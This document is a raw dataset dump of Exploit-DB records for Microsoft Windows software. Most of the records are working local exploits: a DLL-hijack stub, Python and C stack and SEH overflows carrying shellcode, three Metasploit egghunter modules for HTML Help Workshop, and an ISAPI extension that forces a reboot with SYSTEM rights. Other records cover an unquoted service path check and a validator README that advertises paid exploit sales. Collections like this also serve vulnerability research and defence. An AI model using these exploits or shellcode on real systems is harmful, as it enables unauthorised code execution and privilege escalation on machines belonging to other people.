deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49214
Description: Microsoft GamingServices 2.47.10001.0 - 'GamingServices' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-12-08
Author: Ismael Nava

Exploit:
# Exploit Title: Microsoft GamingServices 2.47.10001.0 - 'GamingServices' Unquoted Service Path
# Discovery by: Ismael Nava
# Discovery Date: 02-12-2020
# Vendor Homepage: https://www.microsoft.com
# Software Links : https://www.microsoft.com/en-us/p/xbox-beta/9mv0b5hzvk9z?activetab=pivot:overviewtab
# Tested Version: 2.47.10001.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
GamingServices GamingServices C:\Program Files\WindowsApps\Microsoft.GamingServices_2.47.10001.0_x64__8wekyb3d8bbwe\GamingServices.exe Auto
GamingServicesNet GamingServicesNet C:\Program Files\WindowsApps\Microsoft.GamingServices_2.47.10001.0_x64__8wekyb3d8bbwe\GamingServicesNet.exe Auto

C:\>sc qc "GamingServicesNet"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: GamingServicesNet
        TIPO               : 210  WIN32_PACKAGED_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files\WindowsApps\Microsoft.GamingServices_2.47.10001.0_x64__8wekyb3d8bbwe\GamingServicesNet.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : GamingServicesNet
        DEPENDENCIAS       : staterepository
        NOMBRE_INICIO_SERVICIO: NT AUTHORITY\LocalService

C:\>sc qc "GamingServices"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: GamingServices
        TIPO               : 210  WIN32_PACKAGED_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files\WindowsApps\Microsoft.GamingServices_2.47.10001.0_x64__8wekyb3d8bbwe\GamingServices.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : GamingServices
        DEPENDENCIAS       : staterepository
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #52362
Description: Microsoft Graphics Component Windows 11 Pro (Build 26100+) - Local Elevation of Privileges
Type: local
Platform: windows
Date: 2025-07-16
Author: nu11secur1ty

Exploit:
**Exploit Title : Microsoft Graphics Component Windows 11 Pro (Build 26100+) - Local Elevation of Privileges
**Author:** nu11secur1ty
**Date:** 07/11/2025

---

## Overview

This repository contains a PowerShell script to **validate whether a
Windows 11 system is vulnerable to CVE-2025-49744**—a critical local
privilege escalation vulnerability involving the `gdi32.dll` and
`win32kfull.sys` system components.

The script performs the following checks:

- Windows build number validation
- Installed hotfixes, focusing on July 2025 patches including **KB5039302**
- Binary timestamp verification of critical system files
- Safe, non-destructive GDI32 API interaction test

---

## PoC Validator
[href](https://raw.githubusercontent.com/nu11secur1ty/CVE-mitre/refs/heads/main/2025/CVE-2025-49744/Validate-CVE-2025-49744-PoC.ps1)

## Usage

1. Open **PowerShell as Administrator**.
2. Download or clone this repository to your system.
3. Run the script:

```powershell
.\Validate-CVE-2025-49744-PoC.ps1

## Output

[CVE-2025-49744 PoC Validator] by nu11secur1ty

[*] Windows Build Number: 26100

[*] July 2025 Hotfixes installed:
    -> KB5056579 (7/9/2025)
    -> KB5039302 (7/9/2025)

[*] Checking critical system binary timestamps:
    gdi32.dll: Version 10.0.26100.4484, Last Write Time: 7/9/2025
        [✓] Binary appears patched.

[*] Running safe GDI32 API interaction test...
    [+] GDI32 CreateSolidBrush succeeded (handle: 12345)

[✓] SYSTEM STATUS: Patched against CVE-2025-49744.
```

## Important Notes

- This script does not exploit or alter the system. It only performs
validation and safe API calls.
- Keep your system regularly updated with official Microsoft patches.
- Use this tool for awareness and compliance in your security assessments.

## License
MIT License (or specify your preferred license)

## References

- [CVE-2025-49744](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49744)
on MITRE
- Microsoft Security Bulletin - July 2025
- PowerShell documentation

## Video demo:
[href](https://www.youtube.com/watch?v=SR2pWoncfw4)

## Buy the real exploit:
[href](https://satoshidisk.com/pay/COq10D)

## Disclaimer
Use this tool responsibly and only on systems you own or have explicit
permission to test.


-- 

System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstorm.news/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #14758
Description: Microsoft Group Convertor - 'imm.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: Beenu Arora

Exploit:
/*
# Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles, Dinesh Arora

Exploit Title: Microsoft Group Convertor DLL Hijacking (imm.dll)
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3
Vulnerable extensions: grp

Compile and rename to imm.dll, create a file in the same dir with one of the
following extensions:
.grp
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14758.zip
Exploit-DB #37771
Description: Microsoft HTML Help Compiler 4.74.8702.0 - Local Overflow (SEH)
Type: local
Platform: windows
Date: 2015-08-15
Author: St0rn

Exploit:
#!/usr/bin/env python
#
# Exploit Title: Microsoft HTML Help Compiler SEH Based Overflow
# Date: 2015-08-13
# Exploit Author: St0rn <st0rn[at]anbu-pentest[dot]com>
# Twitter: st0rnpentest
#
# Vendor Homepage: www.microsoft.com
# Software Link: http://www.microsoft.com/downloads/details.aspx?FamilyID=00535334-c8a6-452f-9aa0-d597d16580cc&displaylang=en
# Version: 4.74.8702.0
# Tested on: Windows 7
#

from subprocess import Popen
from struct import pack


# 112 bytes All Windows Null-Free CreateProcessA Calc Shellcode
# We have only 189 bytes after SE Handler
# https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html

shellcode=""
shellcode+="\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
shellcode+="\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
shellcode+="\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
shellcode+="\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
shellcode+="\x57\x78\x01\xc2\x8b\x7a\x20\x01"
shellcode+="\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
shellcode+="\x45\x81\x3e\x43\x72\x65\x61\x75"
shellcode+="\xf2\x81\x7e\x08\x6f\x63\x65\x73"
shellcode+="\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
shellcode+="\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
shellcode+="\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
shellcode+="\xb1\xff\x53\xe2\xfd\x68\x63\x61"
shellcode+="\x6c\x63\x89\xe2\x52\x52\x53\x53"
shellcode+="\x53\x53\x53\x53\x52\x53\xff\xd7"

junk='\x61'*284
nseh='\xeb\x1e\x90\x90'     # jump 30 bytes
nop='\x90'*40               # nop
seh=pack("<I", 0x45312d14)  # pop ecx # pop ecx # ret  | asciiprint,ascii {PAGE_EXECUTE_READ} [HHA.dll]

payload=junk+nseh+seh+nop+shellcode
padding='\x61'*(10000-len(payload))

exploit=payload+padding

try:
 Popen(["C:\Program Files\HTML Help Workshop\hhc.exe",exploit],shell=False)
 print "Hack'n'Roll"
except:
 print "Cannot run hhc.exe"
Exploit-DB #1490
Description: Microsoft HTML Help Workshop - '.hhp' Local Buffer Overflow (2)
Type: local
Platform: windows
Date: 2006-02-11
Author: k3xji

Exploit:
/*
Microsoft HTML Help Workshop .hhp file Compiled File Header Buffer Overflow Exploit
The Buffer Overlfow in Compiled File in Options in a HHP file.

Bug found by:darkeagle
Exploit coded by:k3xji
Mail:sumerc@gmail.com
Web: www.guvenliklab.com

Tested:Win XP SP2
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFLEN 0xe6

char sta[]=
"[OPTIONS]\n"
"Compatibility=1.1 or later\n"
"Compiled file=";

char fin[]=
"Display compile progress=No\n"
"Language=Turkish\n\n\n"
"[INFOTYPES]";

char jmpcode[]= "\x5d\x38\x82\x7c\x5d\x38\x82\x7c\x90\x90\x90\x90\x83\xEC\x34\x90\x83\xEC\x78\x90\xFF\xE4\x90\x90";

char shellcode[]=
    //Taken from ATmaCA's Execute Calc.exe shellcode.Thx.A bit lazy to call ExitProcess:P
    "\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
    "\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"
    "\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"
    "\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"
    "\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"
    "\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"
    "\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"
    "\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"
    "\x61\xdd\x0e\x4d";

int main(int argc,char *argv[])
{

	printf("\nMicrosoft Help WorkShop Compiled File Header Buffer Overflow");
    printf("\nBug discovered by darkeagle");
	printf("\nExploit coded by k3xji");
    printf("\nE-Mail: sumerc@gmail.com");

	FILE *vuln;
	char *overflow;
	overflow = (char*)malloc(BUFLEN);	
	vuln = fopen("poc.hhp","w");

	//build overflow buffer here.
	memset(overflow,0x90,BUFLEN);					    //fill noPs
	memcpy(overflow+0x2a,shellcode,sizeof(shellcode));  //shellcod3
	memcpy(overflow+0xce,jmpcode,sizeof(jmpcode));      //jmpcod3
 
	if(vuln)
	{
		//Write to the poc.hhp file
		fprintf(vuln,"%s%s\"/>\n%s",sta,overflow,fin);
		fclose(vuln);
	}
	printf("\n\npoc.hhp file is written.\n");
	printf("Open file with Microsoft Help Workshop.\n");
	return 0;
}

// milw0rm.com [2006-02-11]
Exploit-DB #1495
Description: Microsoft HTML Help Workshop - '.hhp' Local Buffer Overflow (3)
Type: local
Platform: windows
Date: 2006-02-14
Author: darkeagle

Exploit:
/*
\	Windows HTML Help Workshop Index File Stack Overflow Exploit
/						by Darkeagle
\
/	[http://eagle.blacksecurity.org]
\
/	MS coders codes so secure code. Keep coding }:>
\	
/	Original Advisory: http://eagle.blacksecurity.org/stuff/unl0ck/adv/55k700206.txt
\
/	Exploit tested in WinXP SP2 RUS.
\
*/
#include <stdio.h>
#include <string.h>
#include "stdafx.h"

char ep[]=
"[OPTIONS]\n"
"Compatibility=1.1 or later\n"
"Compiled file=XAKEP.chm\n"
"Index File=";

char pro[]=
"Display compile progress=No\n"
"Language=0x43f Êàçàõñêèé\n\n\n"
"[INFOTYPES]";

char shellcode[]=
        "\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
        "\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"
	"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"
	"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"
	"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"
        "\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"
	"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"
	"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"
	"\x61\xdd\x0e\x4d";

int main(int argc,char *argv[])
{
	printf("Windows HTML Help Workshop Index File stack overflow exploit\n");
        printf("\nBug discovered && exploited by darkeagle of Unl0ck Researchers");
	printf("\nWeb page: http://eagle.blacksecurity.org");

	FILE *vuln;
	char overflow[800];

	vuln = fopen("eagle.hhp","w+");
	memset(overflow, 0x90, 800);

	*(long*)&overflow[280] = 0x77E859BA;
	memcpy(overflow+292, &shellcode, sizeof(shellcode));

	if(vuln)
	{
		fprintf(vuln,"%s%s\n%s",ep,overflow,pro);
		fclose(vuln);
	}

	return 0;
}

// milw0rm.com [2006-02-14]
Exploit-DB #16683
Description: Microsoft HTML Help Workshop 4.74 - '.hhp' compiled Buffer Overflow (Metasploit) (4)
Type: local
Platform: windows
Date: 2010-09-25
Author: Metasploit

Exploit:
##
# $Id: hhw_hhp_compiledfile_bof.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit',
			'Description'    => %q{
					This module exploits a stack buffer overflow in HTML Help Workshop 4.74
				By creating a specially crafted hhp file, an an attacker may be able
				to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'bratax', 'jduck' ],
			'Version'        => '$Revision: 10477 $',
			'References'     =>
				[
					[ 'CVE', '2006-0564'],
					[ 'OSVDB', '22941'],
					[ 'URL', 'http://www.exploit-db.com/exploits/1488' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/1490' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00\x0a\x0d\x1a\x2f\x5c",
					'StackAdjustment' => -4800,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP English SP3', { 'Offset' => 242, 'Ret' => 0x00401F93 } ], # CALL EDI hhw.exe v4.74.8702.0
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Feb 06 2006',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME',   [ false, 'The file name.', 'msf.hhp']),
				], self.class)

	end

	def exploit

		# use the egghunter!
		eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

		off = target['Offset']
		idxf = ""
		idxf << make_nops(off - eh_stub.length)
		idxf << eh_stub
		idxf << [target.ret].pack('V')

		sploit = "[OPTIONS]\r\n"
		sploit << "Compiled file="
		sploit << idxf
		sploit << "\r\n"
		sploit << "\r\n"
		sploit << "[FILES]\r\n"
		sploit << "\r\n"
		sploit << eh_egg

		hhp = sploit

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(hhp)
	end

end
Exploit-DB #16648
Description: Microsoft HTML Help Workshop 4.74 - '.hhp' Cotent Buffer Overflow (Metasploit) (2)
Type: local
Platform: windows
Date: 2010-09-25
Author: Metasploit

Exploit:
##
# $Id: hhw_hhp_contentfile_bof.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit',
			'Description'    => %q{
					This module exploits a stack buffer overflow in HTML Help Workshop 4.74
					By creating a specially crafted hhp file, an an attacker may be able
					to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'bratax', 'jduck' ],
			'Version'        => '$Revision: 10477 $',
			'References'     =>
				[
					[ 'CVE', '2006-0564' ],
					[ 'OSVDB', '22941' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/1470' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/1495' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00\x0a\x0d\x1a\x2f\x5c",
					'StackAdjustment' => -4800,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP English SP3', { 'Offset' => 280, 'Ret' => 0x00401F93 } ], # CALL EDI hhw.exe v4.74.8702.0
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Feb 06 2006',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME',   [ false, 'The file name.', 'msf.hhp']),
			], self.class)
	end

	def exploit

		# use the egghunter!
		eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

		off = target['Offset']
		idxf = ""
		idxf << make_nops(off - eh_stub.length)
		idxf << eh_stub
		idxf << [target.ret].pack('V')

		sploit = "[OPTIONS]\r\n"
		sploit << "Contents file="
		sploit << idxf
		sploit << "\r\n"
		sploit << "\r\n"
		sploit << "[FILES]\r\n"
		sploit << "\r\n"
		sploit << eh_egg

		hhp = sploit

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(hhp)
	end

end
Exploit-DB #16631
Description: Microsoft HTML Help Workshop 4.74 - '.hhp' Index Buffer Overflow (Metasploit) (3)
Type: local
Platform: windows
Date: 2010-09-25
Author: Metasploit

Exploit:
##
# $Id: hhw_hhp_indexfile_bof.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit',
			'Description'    => %q{
					This module exploits a stack buffer overflow in HTML Help Workshop 4.74
					By creating a specially crafted hhp file, an an attacker may be able
					to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'Encrypt3d.M!nd', 'loneferret', 'jduck' ],
			'Version'        => '$Revision: 10477 $',
			'References'     =>
				[
					[ 'CVE', '2009-0133' ],
					[ 'BID', '33189' ],
					[ 'OSVDB', '22941' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/10323' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/10335' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00\x0a\x0d\x1a\x2f\x5c",
					'StackAdjustment' => -4800,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP English SP3', { 'Offset' => 280, 'Ret' => 0x00401F93 } ], # CALL EDI hhw.exe v4.74.8702.0
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jan 17 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME',   [ false, 'The file name.', 'msf.hhp']),
			], self.class)
	end

	def exploit

		# use the egghunter!
		eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

		off = target['Offset']
		idxf = ""
		idxf << make_nops(off - eh_stub.length)
		idxf << eh_stub
		idxf << [target.ret].pack('V')

		sploit = "[OPTIONS]\r\n"
		sploit << "Index file="
		sploit << idxf
		sploit << "\r\n"
		sploit << "\r\n"
		sploit << "[FILES]\r\n"
		sploit << "\r\n"
		sploit << eh_egg

		hhp = sploit

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(hhp)
	end

end
Exploit-DB #19376
Description: Microsoft IIS 2.0/3.0/4.0 - ISAPI GetExtensionVersion()
Type: local
Platform: windows
Date: 1999-03-08
Author: Fabien Royer

Exploit:
source: https://www.securityfocus.com/bid/501/info


IIS and potentially other NT web servers have a vulnerability that could allow arbitrary code to be run as SYSTEM. This works because of the way the server calls the GetExtensionVersion() function the first time an ISAPI extension is loaded. Any user able to put a CGI script in the web structure can insert code that will be run as SYSTEM during this window.


Copied verbatim from a post to NTbugtraq by Fabien Royer <fabienr@BELLATLANTIC.NET>.

Using VC++, create an ISAPI extension project and call it CRbExtension. Replace GetExtensionVersion() and Default() with the code below. Compile it to something
simple, like rb.dll. Place it on your web server and invoke it from your browser like this http://your.machine.namerb.dll? Note: if you are using IE4.0, don't call this from
the machine that is running the web server otherwise, the next time you log in, IE will recall the last URL and you'll reboot again.

BOOL CRbExtension::GetExtensionVersion(HSE_VERSION_INFO* pVer)
{ HANDLE hToken; // handle to process token TOKEN_PRIVILEGES tkp; // pointer to token structure

// Get the current process token handle so we can get shutdown // privilege. OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY, &hToken);

// Get the LUID for shutdown privilege. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);

tkp.PrivilegeCount = 1; // one privilege to set tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

// Get shutdown privilege for this process. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0);

ExitWindowsEx(EWX_REBOOT,0);

// Disable shutdown privilege. tkp.Privileges[0].Attributes = 0; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0);

// Call default implementation for initialization CHttpServer::GetExtensionVersion(pVer);

// Load description string TCHAR sz[HSE_MAX_EXT_DLL_NAME_LEN+1]; ISAPIVERIFY(::LoadString(AfxGetResourceHandle(),IDS_SERVER, sz,
HSE_MAX_EXT_DLL_NAME_LEN)); _tcscpy(pVer->lpszExtensionDesc, sz); return TRUE;
}

void CRbExtension::Default(CHttpServerContext* pCtxt)
{ StartContent(pCtxt); WriteTitle(pCtxt);

*pCtxt << _T("Reboot<br>");

EndContent(pCtxt);
}
Exploit-DB #20383
Description: Microsoft IIS 4.0 - ISAPI Buffer Overflow
Type: local
Platform: windows
Date: 2000-11-06
Author: Marc Maiffret

Exploit:
source: https://www.securityfocus.com/bid/1911/info

The ASP ISAPI file parser does not properly execute certain malformed ASP files that contain scripts with the LANGUAGE parameter containing a buffer of over 2200 characters and have the RUNAT value set as 'server'. Depending on the data entered into the buffer, a denial of service attack could be launched or arbitrary code could be executed under the SYSTEM privilege level in the event that a malicious ASP file were locally executed on IIS.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20383.zip
Exploit-DB #21072
Description: Microsoft IIS 5.0 - In-Process Table Privilege Escalation
Type: local
Platform: windows
Date: 2001-08-15
Author: Digital Offense

Exploit:
source: https://www.securityfocus.com/bid/3193/info

A vulnerability exists in Microsoft's Internet Information Services 5.0 which could allow a user with write permission to run any code with System privileges. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21072.zip